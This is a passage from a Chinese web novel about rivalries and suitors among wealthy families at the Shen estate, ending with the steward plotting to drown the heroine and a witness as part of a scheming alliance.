关鹤当即意识到场合不对,表情略有些僵硬。 还没等他想到应对之策,沈执从主厅走了过来。 “关少爷,我家老爷子问您刚刚在凶谁?” 关鹤只觉脑子发嗡,想也没想脱口而出,“没…没凶谁,我练肺活量呢。” 不怪他怂,鲸港谁不知道姜花衫那死鳖是沈老爷子的宝贝眼珠,他要敢说实话,下一秒就会被打出沈园。 沈家老爷子可不比旁人,连傅老爷子的假牙都没放过,何况是他一个晚辈? 余笙不着痕迹打量姜花衫,从刚刚的交锋,她完全凌驾在关鹤之上,说是把关鹤当猴耍都不为过。 果然,能在沈家这种大家族生存下来的就没有一个省油灯。 顾玉珠似乎一门心思都在看花上,完全不在意刚刚的小插曲,试探性问道,“那我就不跟你客气了,我现在兴致正上头,不如你现在带我去看看?” 姜花衫看了她一眼,站起身,“行啊,走吧。” 顾玉珠刚起身,傅绥尔和苏妙也跟着站了起来,苏灼原本想跟着苏妙,但见沈眠枝还坐着,立马又坐了回去。 蓝黛见沈清予坐着没动,犹豫片刻拉了拉顾玉珠的手,小声道,“珠珠,你去吧,我去不合适,我就在这等你。” 顾玉珠点头,跟着姜花衫出了偏厅。 关鹤扫了顾玉珠一眼,下意识想起身,忽然想到什么又悻悻坐了回去。 傅绥尔抱着姜花衫的胳膊,朝她使了个眼色,“我说怎么今天来了这么多人,原来是相亲宴啊?” 姜花衫笑了笑。 那里面是个十四个人,除了她们四个站起离席的,留在偏厅的一定都是有目标的。 忽然,她脚步一顿。 沈归灵也有目标? 还没等她想明白怎么回事,一道黑影突然闪现在她面前,两眼放光看着她。 “姜花衫,终于看到你了。” “……”姜花衫不动声色后退了一步,“姚……姚淄磊?” 姚淄磊兴奋得整个人都冒红温了,“是啊,你还记得我?” 姜花衫呵呵笑了两声。 姚淄磊左右看了看,眼睛又黏了回去,“你们去哪?我也去。” “……”苏妙有些嫌弃,她是个颜狗,实在接受不了这么丑的人喜欢姜花衫,冷声道,“我们去看花,你一个大男人去不适合,要玩去后面那桌玩去。” 为了和姜花衫见面,姚淄磊在外面院子溜了一上午,好不容易遇上哪能轻易放弃? 他只当没听见苏妙后半句,一脸殷勤,“我最喜欢花了,我也去~” “……”姜花衫皱眉,忽然想起姚淄磊也是提亲中一员。 之前还以为这家伙是为了报复她,现在看来还不如是为了报复她。 不过,这种事还是趁早解决比较好。 念此,她虚笑两声,“好啊……那就一起吧。” 这话刚说出来,偏厅四个不动如来顿时抬眸看了过来,见姜花衫真招呼姚淄磊那个丑东西一起看花,立马变了脸。 沈归灵第一个站起身,目不斜视穿过横厅走到沈庄面前,“爷爷,我身体不太舒服,想先回去休息。” 沈庄不疑有他,立马招来沈执,“让孟医生跟去竹园给阿灵看看。” 沈谦一脸关切,“阿灵,不舒服就回去休息。” 沈归灵点头,转身向门厅走去。 姜花衫正好站在门栏边,沈归灵路过时眼睑都没抬一下直接越过。 【叮——】 【警告,宝藏剧情心动篇之《拯救小可怜》心动值反弹,完成度下降0.00n+1%】 又开始了。 姜花衫闭了闭眼,“……” …… 第505章 明目张胆示好 傅绥尔比较天真,见沈归灵没打招呼出了主厅,顿时变了脸,“衫衫,阿灵哥刚刚出去都没搭理我们,他肯定很难受。” “……” 姜花衫嘴角抽了抽,是啊,难受地要死,已经掉了10个0.00n+1了。 苏妙怔怔看着沈归灵的背影,情略有些担忧,“我说呢,阿灵哥一上午都没说话,和之前的状态比简直判若两人,原来是不舒服。” 姜花衫的表情一言难尽,苏妙这家伙对谁都嘴毒,唯独对沈归灵格外宽容。 也是,谁让沈归灵是她的白月光,即便不喜欢了也永远保留美好。 姚淄磊不满沈归灵分散了姜花衫的注意,摆摆手,“他不舒服就让他去休息好了,别管他了,我们去看花吧。” 苏妙一时没忍住,翻了个白眼。 姜花衫点头,“对!别管他,我们去看花。” 姚淄磊顿时两眼放光,喜滋滋跟着上前。 原本他想借机挨着姜花衫,但苏妙和傅绥尔一人霸占一只胳膊,他挤不进去,最后只能趁顾玉珠不注意把她挤了出去。 顾玉珠气得嘴巴都歪了,但又不想跟一个傻子计较,狠狠瞪了姚淄磊一眼,绕了一圈与傅绥尔并肩。 姚淄磊贼心不死打算故技重施再把苏妙挤开,谁知?苏妙反应更快,趁他不注意推了他一把,“走开,丑东西。” 姚淄磊不防险些摔倒,好不容易稳住身体,二次暴击再次降临。 沈清予不知什么时候走到了他身后,一只手拽着他的脖子,“走开!丑、东、西!” 刷地一声,人飞了出去。 姜花衫一脸诧异,睁大了眼睛看着沈清予,你干嘛啊? 沈清予撩着眼睑瞥了她一眼,“癞蛤蟆看什么花?” 姜花衫,“……” 出乎意料地是姚淄磊一反常态没有生气,哪怕被甩了个狗啃屎也照样笑嘻嘻,“没事,我没事。走吧,去看花吧?” 姜花衫眼角抽搐,还看?当初怎么没看出来姚家这小子也是个犟种。 “衫衫。” 这时,傅绥尔轻轻拉了拉她的手,姜花衫转眸,这才发现偏厅乌泱泱一群人都走了出来。 余笙面带笑意,“衫衫,我们都很好奇你院子里的花有多漂亮,能不能也带我们参观参观啊?” “你们?” 姜花衫抬眸逡巡了一圈,略带审视打量沈兰晞,“你也好奇?” 沈兰晞,“客随主便。” 意思是,客人想看,他作为主人不得已跟随招待。 姜花衫被逗笑了,沈兰晞什么时候还有这种觉悟?上一世他当家主的时候,每次都是她帮着应付这些繁琐应酬。 见她一直盯着自己打量,沈兰晞略有有些不自在,低头轻咳了一声,“走吧。” 姜花衫勉为其难点了点头,转头走在前面带路。 苏妙飞快跟上,捂着嘴小声说道,“刚刚阿灵哥离席,余笙立马跟着起身,后来不知怎的?沈清予也站了起来,沈清予一动,蓝家小姐也跟着动。清予哥上手把丑东西抡飞,枝枝和兰晞哥都坐不住了,他们两一动,我那没出息的哥哥和沈韵也坐不住了,这里面周宴珩是最后一个离席的。” 绕口令? 姜花衫转眸看向苏妙。 还没等她捋清这些乱七八糟的关系,苏妙当即给出了结论,“还不明白吗,余笙的目标是阿灵哥,蓝家小姐的目标是沈清予,苏韵似乎是看上了沈兰晞,至于我那没眼力见的哥哥就不用说了,盯枝枝都快盯包浆了。” 姜花衫顿时眼前发亮,真是识别三十当刮目相看,没想到苏妙还有这观察力? 苏妙还是很受用这种突然被惊艳的感觉,抬了抬下巴,“还有哦,关鹤的目标是顾玉珠。从顾玉珠两次提出要跟你去院子看花,关鹤都出声打断,显然是故意的。不过,这也不能怪关鹤,是顾玉珠太蠢了,她这么反常显然是有话跟你说,明眼人一看就知道。” 说到这,两人对视一笑,怡然自得转移目光。 闯过内院,梅兰竹菊四院映入眼帘。 最惹眼的还是姜花衫的菊园,全金丝楠木打造的空中绣楼在阳光下闪闪发亮,各式各样的花藤相互交缠几乎包裹了整个院墙,适逢爆花季,成千上万朵鲜花盛放坠在枝头,叫人看一眼便迷了眼。 余笙看着眼前的风景,向来会藏锋的眸光第一次露出了羡慕的情绪。 五年前曾来过沈园内院,那时沈归灵拒绝了她入竹园,她便转去了菊园。那时,萧澜兰是鲸港贵女圈第一人,菊园的花墙也才爬满一层绣楼。没想到,短短五年时间,花枝封楼,萧澜兰查无音讯,鲸港只认嫡公主。 但也只是羡慕,每个人的来时路都是不可复制的,从一如她和父亲,从南湾到鲸港,从老牌贵族看不上的草根总统到如今各派势力争相讨好的新贵决策者,这登顶之路务必稳扎稳打。 余笙忽然想起余斯文出门前的交代,转眸看向对角的竹园,之前的艳羡被一抹坚定取而代之。 她忽然停下脚步,“抱歉啊,我看沈归灵走的时候脸色不是很好,我还是有些担心,我先去看看他再过来找你们。” 姜花衫早就看出余笙是醉翁之意不在酒,但这位总统千金之前多少还是有些含蓄,一般都是点到为止,所以她突然毫不掩饰表达自己的心意一时让姜花衫有些措不及防。 余笙笑了笑,当着众人的面转身向竹园走去。 “嘘~” 众人神色各异,唯有关鹤看热闹不嫌事大,对着余笙的背影一边吹口哨一边鼓掌,“我就说他们俩有猫腻吧?” 说话的功夫,余笙已经走到了竹园大门外,她叩响了门环,很快雷行便走了出来。 两人低头说了几句,雷行立马把余笙请了进去,随之又掩上了门。 …… 第506章 明目张胆爬床 “啧啧~” 见此情景,关鹤阴阳怪气笑了起来,“沈归灵好福气啊,总统千金都愿意倒贴上门,我要是他送上门的不要白不要,也不知道余斯文是怎么想的,小地方来的就是小地方来的。” 沈清予扫了关鹤一眼,忽然对着他的屁股一脚踹了上去。 关鹤措不及防,反应过来顿时火冒三丈,抬手指着沈清予,“草!真当老子怕了你?” 沈清予正准备往前,姜花衫直接挡在他面前,点指压下关鹤的手指,“你再指一个试试?” “……”关鹤从未这么怕女色,像躲瘟疫一般连忙缩手,反应过来又觉得丢了面子,故作凶样,“有你什么事?” 姜花衫,“这里是沈家,你要再敢张口喷粪,信不信我当你当众加餐?” 关鹤脸色微变,回头看了周宴珩一眼,见他面无表情立马扯着脖子给自己找台阶,“好男不跟女斗。” 沈兰晞单手插兜,一只手扣住姜花衫的手腕把她拉到自己身后,神色冰冷看着关鹤,“关家要是不怕丢人现眼, 你尽管再挑衅。” 姚淄磊原本想上去英雄救妹,眼看被沈兰晞捷足先登,立马调转枪头义愤填膺瞪着关鹤。 苏韵微微一愣,不动声色看着那只握着皓腕的手。 苏灼岁年最长,眼看气氛下不来台立马出来打圆场,“好了好了,今天大家难得聚在一起,阿鹤你少说两句。” 关鹤冷哼了一声,识相地没有接话。 沈眠枝见状,轻声提醒,“不是说要去看花吗?走吧?” 顾玉珠看了关鹤一眼,连忙点头附和,“是啊,我们还是去院子看花吧?” 姜花衫原本不想搭理这群人,但一想到是在沈园,到底还是忍了回去,“走吧。” 她话刚落地,竹园的院门忽然打开,最让人大跌眼镜的是,沈归灵竟然一个人从里面走了出来,他一眼就看见了在廊下的众人,径直走了过来。 傅绥尔愣了愣,“阿灵哥怎么出来了?” 姜花衫从沈兰晞背后探出身,刚抬眸两人便对上了目光。 沈归灵一瞬不瞬看着她,略过众人直接走到她面前,“余小姐说想参观我的院子里。” 姜花衫被他看得有些心慌,“然后呢?” 这么多人跟她说这么干嘛。 沈归灵眉头微蹙,似有些神伤,“然后我就把院子让出来给她参观了,现在我很不舒服,但我没有休息的地方,我要去菊园睡觉。” 姜花衫眼皮跳了跳,“睡……睡觉?” 沈归灵转眸盯着她的手腕看了一会儿,笑了笑,轻描淡写,“嗯,睡觉。” 沈清予没好气,“要睡去梅园。” 沈归灵瞥了他一眼,“我有洁癖。” 沈兰晞抬眸,黑曜的眸底闪过一丝波澜。 沈家人都是知道,他有轻微洁癖生人勿近,沈归灵这话是谁给谁听的已经不言而喻。 沈清予嗤笑了一声,“滚!你爱去不去。” 沈归灵充耳不闻,抬眸看着姜花衫,笑容里带了几分妥协,“我睡画室。”生怕姜花衫不答应,他立马又补充了一句,“大家都在你院子里,我也凑个热闹,到时候爷爷问起来也算我尽了地主之谊。” 这话一出,众人的神情变得微妙起来。 原本还觉得沈归灵要在菊园休息有些不合常理,但这么解释瞬间就通透了。 沈归灵这是要跟余家避嫌,虽说他现在从院子里走出来了,但难免不会被有心的造谣他又回了院子,所以他故意提出去菊园,如此万一以后传出什么误会,在场所有人都是他的证人。 姜花衫沉默片刻,即挣脱沈兰晞的手,学着沈庄的模样,“一个个的都是讨债鬼。” 虽然骂骂咧咧,但也没有拒绝。 沈兰晞看着被甩开的手,眼里的黑潭渐渐凝结出了冰碴。 沈归灵笑了笑,路过他刻意放缓了脚步,小声道,“兰晞哥,辛苦了。” 话落,两人同时抬眸,擦肩而过一眼看穿了对方。 周宴珩和关鹤站在廊庑下,他们已经被人群甩下了一大截,众人也没有要等他们的意思。 关鹤揉着屁股,“阿珩,你到底为什么让我一直挑衅姜花衫?我特么差点连命都没有了?” 周宴珩的目光在沈兰晞和沈归灵之间来回打量,漫不经心,“你现在不是还活蹦乱跳的吗?” “草!那还不是我机灵?!” 每次眼看情况不对就认怂,找准机会再找茬,以前怎么没发现,他也算能屈能伸一把好手啊。 周宴珩收回目光,轻轻拍了拍关鹤的肩膀,“待会进去继续,保持你的机灵。” “……”关鹤顿时黑脸,“卧槽!还来?还是算了吧?我有预感姜花衫那狗逼已经忍我忍到极限了,我要再犯贱,她真要出手了。” 周宴珩,“你怕她?” “我……”关鹤一脸晦气,“我怕她个毛?我他么怕你?你这么挖空心思算计她,万一她给老子泼脏水,谁知道你他么帮谁?” 周宴珩笑了笑,“女人而已,不至于。” 关鹤觑眼打量他,“真的?” 周宴珩,“我什么时候骗过你,你再试一次,很快就有答案了。” 答案? 什么答案? 关鹤一头雾水,但还是没有扫兴,犹豫片刻点了点头,“行吧,不过!事先说好啊,万一惹毛了沈家人他们要杀我,你可得帮我。” 周宴珩,“当然。” * 第507章 蹬鼻子上脸 富贵迷人眼大概就是这种感觉吧? 百年金丝沉木是最大的扩香体,从踏入菊园那刻,鼻尖沾满了一缕说不清的淡香,各式各样名贵的花苞缀满枝头,阳光穿梭在叶缝间,抬头便能看见满目碎光。 蓝黛跟随人群走在最末,目光流连一一环顾园景,难怪别人都说姜花衫得宠,这院子可不是一般人住得起的。 能入沈园的都不是一般人,大家一开始觉得稀奇,看了一会儿便在花架下散步聊天,蓝黛不想让自己显得太突兀,稍稍收敛神情跟着人群入桌。 阿姨们有条不紊布置茶点、摆盘的瓷盏多如满院秋花个个精巧地不像话。 沈归灵心不在此,进了院子招呼都不打去了画室。 沈清予见状略有不满,侧头看向姜花衫,“这狗东西,他什么时候脸皮这么厚了?” 一直都很厚。 “随他去吧。”姜花衫懒得计较,她现在只好奇顾玉珠搞这么多名堂到底想跟她说什么,为了支开沈清予,她故意说道,“蓝家小姐在那,你快去啊,可别冷落了人家。” 沈清予顿时脸色阴沉了下来,“怎么,想支开我跟癞蛤蟆看花?” “衫衫。” 姜花衫愣了愣,还没反应过来,姚淄磊端着一碟点心屁颠屁颠跑了过来。 “……” 沈清予吊梢着眼看她,“喜欢这样的?” 姜花衫嘴角抽了抽。 沈清予嗤了一声,转头勒住姚淄磊,半道把人劫走,“一个大男人看什么花,走,去那边聊聊。” “轻……轻点~!咳咳!”姚淄磊脸色涨红,虽百般不情愿,但还是被沈清予拖进了花廊下。 彼时,沈兰晞和苏灼一群人在桌上聊天,两人正在讨论军政学府的课业,苏韵、沈眠枝、蓝黛在一旁作陪,沈清予硬拉着姚淄磊入席,“说什么呢?” 苏灼,“在说这次长官策划的军制改革。” 姚淄磊连忙起身,“我又不是军政学院的学生,这玩意儿我听不懂,我还是去看花吧?” 沈清予压着他的肩膀正要说话,沈兰晞淡淡道,“什么都不懂就更该好好听。” 姚淄磊眼皮跳了跳,目光在沈兰晞和沈清予之间转了一圈,虽然他很想跟姜花衫独处,但也不能因此得罪的两个大舅子,最后认命坐了回去听他们讲天书。 傅绥尔和苏妙嫌外面吵,躲在主厅里说悄悄话。 姜花衫瞥了顾玉珠一眼,“不是想要苗吗?你看看喜欢哪些?” 顾玉珠小心看了她一眼,故意凑近了几分,“姜花衫,我有话跟你说。” “说啊。”姜花衫状似不在意,带上种花橡胶手套,蹲下身摆弄小苗。 顾玉珠跟着蹲下身,神情闪烁,“周宴珩不是好人。” 姜花衫偏头,上下打量她。 顾玉珠立马点头,表情严肃,“我说的是真的,你一定要相信我。” 姜花衫笑了笑,拿起剪刀修剪枝叶,“他是什么人跟我有什么关系?” 顾玉珠皱眉,声音有些急迫,“当然有关系,你别以为他是真的喜欢你,他那样的人根本就没有心,上次度假山庄,我亲眼看见他跟开枪杀你的杀手密谋,那个杀手还说提到了周家老爷子。” “咔嚓——” 姜花衫指尖一顿,不小心剪下了一根强壮的笋芽。 她转头,再次认真打量起顾玉珠,“你确定?” 顾玉珠点头,声音极小,“我敢用顾家未来十年气运发誓,周宴珩为了威胁我,不仅打穿了我的手掌,还控制了我的人生自由,我现在就是他手里的傀儡。”说罢,她默默伸出手,掌心伤口虽然已经痊愈,但还是留下了不可磨灭的伤痕。 姜花衫皱眉,“他这么对你,你为什么不向顾伯伯和顾奶奶坦白?以顾家的势力,周宴珩还不能做到只手遮天。” 顾玉珠看着掌心的伤痕,眼中拂过一抹恨意,“我若是告诉爸爸和爷爷,他们为了保护我一定会把我送出A国,但这不是我想要的。我恨他,他凭什么作践我?所以我要让周宴珩付出代价。” 姜花衫思忖片刻,反问道,“我很好奇,为什么一开始你没有告诉我周宴珩和杀手密谋的事,你应该知道这件事关系重大?既然最开始选择了隐瞒,什么现在又要说了?” 顾玉珠眼中有些窘迫,“因为我怕,他心思阴狠,我怕我说出来会被报复得更厉害,但现在已经决定要报复他了就顾不得这么多了。” 姜花衫点了点头,喃喃自语,“原来如此。” 顾玉珠垂眸,闷闷道,“我只是觉得不公平,凭什么他们可以随意践踏别人?凭什么我要是被践踏的那一个,应该要让他们也尝尝这种滋味。” 姜花衫略有些意外,眼前的顾玉珠好像和她以为的顾玉珠有些不同。 “霍!这么热闹。” 说话的功夫,关鹤、周宴珩一前一后进了院子,其中,关鹤好似失忆了一半,像个没事人一样大摇大摆走进花廊,“你们聊什么呢?” 周宴珩神色淡淡,抬眸时带了顾玉珠一眼,便落在了姜花衫身上。 顾玉珠脸色煞白,低着头往姜花衫身后藏。 姜花衫看了她一眼,起身招呼阿姨,“这个,这个,还有这个,把土配好一会儿方便顾小姐带回家。” “好的,小姐。” “喜欢什么随便挑。” 姜花衫轻轻拍了拍顾玉珠的肩膀,迎面与周宴珩擦肩而过,目不斜视步入花廊。 周宴珩笑了笑,转身跟了过去,再没有看顾玉珠一眼。 苏妙和傅绥尔一直在内厅观察敌情,关鹤前脚刚进院子两人后脚就从里面杀了出来。 “哟~别说,这院子风景挺不错的。”借着打量的间隙,关鹤自然而然落座。 蓝黛深怕惹上麻烦,小心翼翼往旁边靠。 关鹤瞪了她一眼,侧身招呼周宴珩,眼睛溜达了一圈又开始找茬,“咦?怎么没看见沈归灵啊?” 姜花衫双手抱胸,静静看着他表扬。 两人目光忽然对上,关鹤心里内心慌的一匹,但面上还是一副欠扁的贱馊模样,“姜花衫,你们沈家的规矩还真是有趣啊?哥哥妹妹的房间随便睡?你们是真不把彼此当外人啊?是不是啊,阿珩!哈哈哈哈~” “……”周宴珩愣了愣,掀着眼睑看了姜花衫一眼,选择了沉默。 空气瞬间凝结,整个阆苑阒静无声。 …… 第508章 导火索 “哈……哈…哈……” 沈兰晞面无表情看着关鹤,不同于以往的高高在上,完全像是在看一个死物。 关鹤哈了两声,感觉有些缓和不过来了,脸色微变拔腿就跑。 沈清予拿起桌上的茶杯对着他的膝盖砸去,关鹤不防扑通跪倒在地,正要起身肩膀传来一道重力压着他不能动弹。关鹤抬头,还没看清是谁脸上就挨了一拳。 高止出拳又快又狠,关鹤根本来不及反应…… “砰——” 一声巨响,人直接栽倒在地重重撞上地面。 周宴珩皱眉,盯着沈兰晞看了一会儿,起身拦住高止,“一句玩笑话而已,至于生这么大的气吗?” 沈兰晞,“高止。” 高止会意,绕过周宴珩,一把揪住关鹤的衣襟,正准备动手,周宴珩横插一手,抓住了他的拳头。 关鹤这才从刚刚的震荡中回过神,见周宴珩挡在自己面前瞬间有了底气,回头朝沈兰晞怒吼,“来啊,有本事弄死我!” 沈兰晞抬眸,目光光冷沉,“高止,弄死他。” “!”关鹤霎时瞪圆了眼睛,心跳漏了一拍,“不……不是……” 高止反手扣住周宴珩的手腕,利用离心力将人甩了出去,趁此空隙成功掐住了关鹤的脖子。 “yUe……”关鹤两眼翻白使劲挣扎。 姜花衫皱眉,略有些不解看向沈兰晞,但凡有眼睛的都看得出,关鹤三番两次出言挑衅显然是存心找不痛快,要处理他办法多的事,这般动在明面上显然不是明智之举,沈兰晞不可能连这么浅显的道理都不明白。 他这是怎么了? 眼看关鹤脸色发紫沈兰晞都没有叫停的意思,姜花衫连忙上前拉住高止,“松手。” 高止愣了愣,没想到姜花衫会出来捣乱,故作高冷看向沈兰晞。 沈兰晞皱眉,还没开口姜花衫的眼神就杀了过来,“沈兰晞,你快让高止收手,你……”她顿了顿,忽然灵光一闪,“要是你敢伤了鹤鹤,我跟你没完。” “……” 周宴珩原本一只手已经搭上了高止的肩膀,冷不丁听见这句话身形立马顿住。 沈清予挂着戾气的一张脸瞬间破防,“你叫他什么?” 有你什么事?瞎凑什么热闹? 姜花衫懒得搭理沈清予,故作生气,“沈兰晞,我让你松手,你听见没有?” 沈兰晞看着她,内心怒火的几乎要烧断克制的锁链,最终他转过头不看她,声音暗哑,“高止。” 嗤!妻管严!妻宝男!耙耳朵! “是。”高止两副面孔自由切换,一把甩开关鹤,转身退出了花廊。 姜花衫飞快瞥了周宴珩一眼,故意拦在他之前搀扶关鹤,“鹤鹤,你没事吧?” 关鹤恍恍惚惚,等看清眼前的人是谁吓得人都伪了,“你……你特么叫我什么?” 姜花衫眨了眨眼,“呵呵……” 关鹤捂着心口,一副比死还难受的模样,“不是…姜花衫……别……别这样,我们有话好好说。” 沈清予闹不清姜花衫在玩什么,但看见她和关鹤亲密瞬间就来火,动作粗鲁把她拉到自己身边,“你跟他废什么话?” 姜花衫皱眉,用力甩开沈清予的手,“我不许你这么说他,你们不懂他,鹤鹤可好玩了,他最会提供情绪价值了,我最喜欢他了。” 埋坑而已,整得好像谁不会? 就是不知道关鹤受不受得住她的反击。 鲸港嫡公主为他变成了一个恋爱脑,三个哥哥齐心协力打死打残不过分吧?疼爱她的爷爷略微出手不算以大欺小吧? 出师有名,关鹤就算死也别想脏了沈家人的手。 只是她不知道,她这句最喜欢引爆的不是关鹤的狗命,而是整个修罗场的倒计时。 沈兰晞撩着眼眸打量关鹤,那眼神已经不是看死物而是看死人。 沈清予看着被拂开的手,想要恣意的眉眼覆上了一层意味不明的寒霜。 关鹤吓得肝胆俱裂,下意识看向周宴珩。 周宴珩眼里噙着幽幽冷光,面无表情审视着他。 “……” 完了!出大事了! 关鹤嗖得一下跳起身,窜到周宴珩跟前,咬着牙直哆嗦,“阿珩,你冷静点,我草!你别吓我!” 周宴珩偏头看了姜花衫一眼,不置一词转身出了菊园。 关鹤捂着脖子,原本还想跟沈兰晞算账,转头看见姜花衫脸色变了变,拔腿就跑,“阿珩,你慢点!你等等我啊!” “不堪一击。”姜花衫嗤笑一声,笑容得意,不想刚转身差点裂开在三束审视的目光里。 沈兰晞、沈清予也就算了,沈归灵不知什么时候从画室走了出来,半倚着门栏目光幽深。 “……” “衫衫……”姚淄磊仿佛受到天大的打击,跌跌撞撞站起身,“你……你刚刚说的是真的?你……你喜欢关鹤?” 怎么忘了这里还有一个,这种烂桃花还是要尽早处理,姜花衫轻咳了一声,顶着三道激光扫视,呵呵笑了笑,“是啊,他犯贱的样子还挺可爱的,我还没遇见过这么会犯贱的人,不觉被吸引了呢~” “……” 这话但凡有脑子的都不会信,刚刚怎么回事大家都看在眼里,姜花衫刚刚明显是把关鹤当猴耍,现在这么说无非是在处理姚淄磊。 姚淄磊有些受不了这个打击,千算万算怎么都没想到姜花衫口味这么独特,喜欢犯贱的,可他一点都不贱怎么比的过关鹤? “我输了,祝您幸福。”姚淄磊情绪低落,垂头丧气出了菊园。 “……” 气氛一时诡异到了极点。 * “阿珩!阿珩!你慢点啊!你听我解释啊!” 周宴珩穿过廊庑,忽然身形一顿。 关鹤捂着脖子上前,正要说话,这才发现照壁角落里站着一个人,关鹤眯了眯眼,“是你?” 沈执慢慢从角落走了出来,微微欠身,“有个交易想和两位少爷谈谈。” …… 第509章 同盟牵制 “交易?” 关鹤目光警惕,侧头看向周宴珩。 沈家这位总管事的胆子未免也太大了,竟然敢在沈老爷子眼皮子底下动心思。 沈执略有深意看了两人一眼,转身绕过垂花门。 “阿珩,他是冲着你来的。” 周宴珩一脸不屑,“跟上去。” 两人不紧不慢跟在沈执身后,过了内院,沈执将两人带到了一处僻静的乘凉亭。 桥廊下是一眼看不到的荷塘池,池里的荷叶茎脉枯萎得只剩斜影残枝映衬秋景萧瑟。 入了八角亭,沈执站定回身看着身后两人。 关鹤上下打量他,“你要跟我们谈什么?” “关少爷稍安勿躁。”沈执有备而来,不卑不亢,“在谈生意之前,恕我冒昧问一句,周少爷和姜小姐是什么关系?” 周宴珩嘴角扯过一抹讥诮,丝毫没有要回答的意思。 沈执又道:“周少爷勿怪,周老爷子属意眠枝小姐,周少爷又与姜小姐拉扯不清,我不过是想提醒周少爷,这两位小姐可不是能任你挑三拣四的。” 周宴珩,“你算个什么东西?一条给人看门的狗也敢教训我?” 沈执目光微沉,“周少爷误会了,我并非教训您,而是提醒您。” 周宴珩冷笑了一声,转身要走。 “周少爷!”见周宴珩动怒,沈执立马扬声叫住他,“以您的聪明才智应该不喜欢被人当枪使吧?周少爷不如放弃姜花衫跟我们合作。” 周宴珩身形微顿,侧眸不动声色打量沈执。 沈执,“姜小姐那边给了周少爷什么条件?我们这边只会更有诚意。” “哦?”周宴珩眼底闪过一丝兴味。 关鹤皱眉,“你什么意思?” 沈执,“关少爷要找合作对象也应该找聪明的不是?姜花衫拿你们引我出来,定然是给了不错的条件,不如我们再谈谈?” 关鹤瞬时瞪大了眼睛,“你怎么知道?” 忽然他反应过来,眼神警惕,“所以你那天是故意引我出来测试我的?” 沈执并未否认,“不入虎穴焉得虎子?” 周宴珩思忖片刻,转身走到沈执跟前,“你要跟我谈什么交易?” 沈执,“地下钱庄的生意原本就是两位少爷的,君子不夺人所好,咱们之前的买卖就当不存在。我今天想和两位少爷谈个新买卖,若两位少爷愿意,我们可以建立互助互赢盟友关系,为了表达我的诚意,京郊那块地可以送给两位。” 京郊? 关鹤满眼兴奋看向周宴珩,就因为地下钱庄的事情相继爆出,他们打算将黑场换个模式重新经营,周宴珩提出可以在鲸港郊区建个不夜赌城,任何产业一旦形成天价的商业价值,就会被光明正大合理化,就算是政府也会乐见其成。 不过这几年,鲸港的资源都被老牌家族瓜分完了,土地资源更是稀缺,周宴珩的赌城计划占地将近三分之一个鲸港市,即便他们收购了一些,但还是杯水车薪。 但若有鲸港那块地,那可就是天上掉馅饼了。 “条件挺诱人,”周宴珩情绪不显。 沈执,“沈家与周家同为金字塔尖的权贵,合则百年无忧,分则两败俱伤,周少爷是周家唯一继承人,但沈家却人多心杂,我若是周少爷,与其等着沈家大浪淘沙选出一个继承人,不如自己亲自挑选一个未来的盟友,周少爷觉得,我这话说的对不对?” 周宴珩点头,“说的有道理,只不过谈这么重要的生意,你身后的主人不现身,让一条看门狗跟我谈可见也没多大的诚意。” 沈执平静的眸底终于有了一丝怒意,这个周宴珩未免也太自视甚高了。 不过,眼下不是计较的时候,沈执神色淡淡,“今天人多眼杂,先生不便与周少爷见面,但如达成联盟,以后见面的机会多的是。” 周宴珩低眸细想了片刻。眼里多了几分认真,“说吧,你们想要做什么?” 沈执眸光微暗,“周少爷既然已经与姜小姐有了接触,想必应该知道她背后之人是谁?还请周少爷如实相告。” “背后之人?”周宴珩神色微动,说起来,姜花衫的行为的确有些可疑,若是她背后没有人怎么能查到沈执,查到关鹤私下的黑产? “周少爷?” 周宴珩抬眸,“姜花衫背后之人我没有见过,我都是跟她单线联系。” 关鹤默默看了周宴珩一眼,的确是单线,单纯的你联系她不回。 沈执盯着周宴珩看了一会儿,找不出任何破绽暂且也就相信了。 “既然如此,这事暂且不提,但眼下有件更重要的事需要周少爷帮忙。”沈执温和的脸色忽然蒙上一层肃杀,“姜花衫既然已经知道了我的身份,我与她只能留其一,还请周少爷做个选择。” 周宴珩眼睑下沉,深邃的眸底泛过逆光,“什么选择?” 关鹤略带怜悯看了沈执一眼。 沈执,“适逢秋月,此处的泥塘需要翻新,若是有人不小心失足掉进泥塘里,淤泥只会越陷越深很容易就会没命。” 周宴珩,“……” 沈执脸上的阴色散去,笑容温和,“周少爷,联盟最好的诚意就是相互握有对方的把柄,这叫牵制,周少爷以为呢?” 片刻后,周宴珩点头,“说的是。” 沈执,“那周少爷的决定是?” “我会把姜花衫带过来,不过……”周宴珩环顾了一圈,有些不放心,“沈园到处都是眼线,你确定这里安全吗?叫天天不应叫地地不灵?” 沈执笑容更甚,“我在沈园三十载,若这点本事都没有,也没有资格站在这和周少爷谈条件。” 话音刚落。 “啦擦——” 角落里传来一声枯枝断裂声,只见一道黑影嗖得一下从角落窜了出来,慌不择路往垂花门跑去。 “……” 打脸打得太快,沈执脸色顿然阴沉到了谷底。 周宴珩看着那道熟悉的背影,笑得意味深长,“看来沈管家的能力也不那么可信啊。” 沈执,“姚家少爷约姜小姐来莲塘倾诉心意,被拒后恼羞成怒,两人拉扯间双双掉入泥塘溺毙。” 说罢,直接越过周宴珩往垂花门走去。 关鹤啧啧摇头,盯着沈执离开的背影,“他去抓姚淄磊了?” 周宴珩,“这里是沈园,到处都是沈执的眼线,姚淄磊跑不掉了。可惜了,姚家要断后了。” “……”关鹤咽了咽口水,“阿珩,你到底想做什么?” 以周宴珩现在对姜花衫的兴趣,绝对不可能跟着沈执沆瀣一气,但他没有拒绝沈执,显然是有别的打算。现在连姚淄磊都牵扯进来了,以周宴珩的疯劲,事情只怕会越闹越大。 周宴珩,“这只看门狗说了这么多,有几句正合我意。” 关鹤不解看着他。 周宴珩正用拇指摩挲鎏金袖扣,琥珀色瞳孔里映着满池残荷,分明是慵懒姿态,偏生教人想起丛林里假寐的猛兽。 “联盟最好的诚意就是相互握有对方的把柄,这叫牵制。” …… 第510章 我从未遮掩 从姚淄磊离开之后的很长一段时间,菊园诡异的气氛都没有得到缓解,最后姜花衫索性破罐子破摔,撂下众人跑去绣楼睡觉。 对于她这种说风就是雨的性子,沈家众人都已经习惯了,沈兰晞和沈清予脸色不好,但也并未就此事责怪什么? 沈眠枝直接担心大家在下面聊天会吵到姜花衫休息,提出可以去中庭的莲池钓鱼喝茶。 尽管其他人对于沈家人这么纵容姜花衫有些不理解,但还是很配合沈眠枝纷纷起身。 沈兰晞和沈清予坐在座位,丝毫没有要起身的意思。 